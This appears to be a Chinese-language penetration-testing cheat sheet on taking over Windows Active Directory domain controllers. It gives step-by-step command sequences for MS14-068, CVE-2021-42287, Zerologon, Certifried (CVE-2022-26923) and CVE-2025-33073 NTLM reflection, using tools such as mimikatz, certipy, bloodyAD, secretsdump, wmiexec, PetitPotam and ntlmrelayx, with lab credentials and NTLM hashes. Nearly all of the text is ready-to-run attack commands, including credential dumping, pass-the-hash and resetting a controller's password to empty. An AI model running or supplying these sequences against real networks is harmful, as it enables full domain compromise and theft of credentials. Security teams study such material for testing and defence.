通过技术手段拿下内网域环境下某一台服务器权限或某主机上的域用户账号密码后,与AD域控网络通讯正常的情况下,可直接使用域控提权CVE漏洞进行域控权限提升。
#WIN-AD域控提权-CVE-2014-6324
前提条件:
1、需要域用户账号密码
2、一台主机的管理员权限
whoami /user
net time /domain
net config workstation
ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址
ms14-068.exe -u mary@god.org -p admin!@#45 -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d OWA2010CN-God.god.org
kerberos::list
kerberos::purge
kerberos::ptc “TGT_test02@test.lab.ccache”
dir \OWA2010CN-God.god.org\C$
psexec \OWA2010CN-God.god.org cmd
#WIN-AD域控提权-CVE-2021-42287
只需要域用户账号密码
https://github.com/WazeHell/sam-the-admin
python3 sam_the_admin.py god/’webadmin:admin!@#45′ -dc-ip 192.168.3.21 -shell
#WIN-AD域控提权-CVE-2020-1472
CVE-2020-1472是继MS17010之后好用的NetLogon特权域控提权漏洞,
影响Windows Server 2008R2至Windows Server 2019的多个版本系统,
只要攻击者能访问到目标域控井且知道域控计算机名即可利用该漏洞.
该漏洞不要求当前计算机在域内,也不要求当前计算机操作系统为Windows.
计算机名:nbtscan -v -h 192.168.3.21
漏洞检测:python3 zerologon_tester.py OWA2010CN-GOD 192.168.3.21
重置空密码:python3 cve-2020-1472-exploit.py OWA2010CN-GOD 192.168.3.21
连接后导出:python3 secretsdump.py god.org/OWA2010CN-GOD$@192.168.3.21 -no-pass
WMI连接反弹:
python3 wmiexec.py god/administrator@192.168.3.21 -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7
#WIN-AD域控提权-CVE-2022-26923
前提条件:
1、一个域内普通账号
2、域内存在证书服务器
Kali添加访问域内信息 /etc/hosts
192.168.3.111 xiaodi.local
192.168.3.111 xiaodi-DC-CA
192.168.3.111 DC.xiaodi.local
获取CA结构名和计算机名
certutil -config – -ping
域内信息
192.168.3.111
test Pass123
xiaodi-DC-CA
DC.xiaodi.local
1、申请证书:(Certipy)
certipy req ‘xiaodi.local/test:Pass123@DC.xiaodi.local’ -ca xiaodi-DC-CA -template User -debug
2、检测证书(Certipy)
certipy auth -pfx test.pfx
3、添加用户:(bloodyAD)
python3 bloodyAD.py -d xiaodi.local -u test -p ‘Pass123’ –host 192.168.3.111 addComputer pwnmachine ‘CVEPassword1234*’
4、设置属性:(bloodyAD)
python3 bloodyAD.py -d xiaodi.local -u test -p ‘Pass123’ –host 192.168.3.111 setAttribute ‘CN=pwnmachine,CN=Computers,DC=xiaodi,DC=local’ dNSHostName ‘[“DC.xiaodi.local”]’
5、申请证书:(Certipy)
certipy req ‘xiaodi.local/pwnmachine$:CVEPassword1234*@192.168.3.111’ -template Machine -dc-ip 192.168.3.111 -ca xiaodi-DC-CA -debug
6、检测证书:(Certipy)
certipy auth -pfx ./dc.pfx -dc-ip 192.168.3.111
7、获取HASH:(impacket)
python3 secretsdump.py ‘xiaodi.local/dc$@DC.xiaodi.local’ -hashes :b6046c1026699b59301ff66341838df4
8、利用HASH:(impacket)
python3 wmiexec.py xiaodi.local/administrator@192.168.3.111 -hashes aad3b435b51404eeaad3b435b51404ee:e6f01fc9f2a0dc96871220f7787164bd
#WIN-AD域控提权-CVE-2025-33073
前提条件:一个域内普通账号,DNS服务
https://github.com/fortra/impacket
https://github.com/topotam/PetitPotam
https://github.com/mverschu/CVE-2025-33073
参考复现:https://mp.weixin.qq.com/s/9ZwWI8zHOioid8YJnNgSTA
1、添加一条DNS记录
python dnstool.py -u god.org\webadmin -p ‘admin!@#45’ 192.168.3.21 -a add -r WebServer1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.3.135
2、启动监听
python ntlmrelayx.py -t 192.168.3.31 -smb2support
3、进行强制NTLM认证
python PetitPotam.py -d god.org -u webadmin -p ‘admin!@#45’ WebServer1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 192.168.3.31
参考复现:https://mp.weixin.qq.com/s/vDbF-h6MzU8ruLOZvYnDLQ
1、添加一条DNS记录
python dnstool.py -u cyberstrikelab.com\cslab -p “cs1ab@wwe” -r CS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 10.6.6.10 –action add 10.6.6.55
2、启动监听
python ntlmrelayx.py -t 10.6.6.88 -smb2support -ts -c whoami
3、进行强制NTLM认证
python PetitPotam.py -d cyberstrikelab.com -u cslab -p cs1ab@wwe CS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 10.6.6.88
ss
评论(0)
暂无评论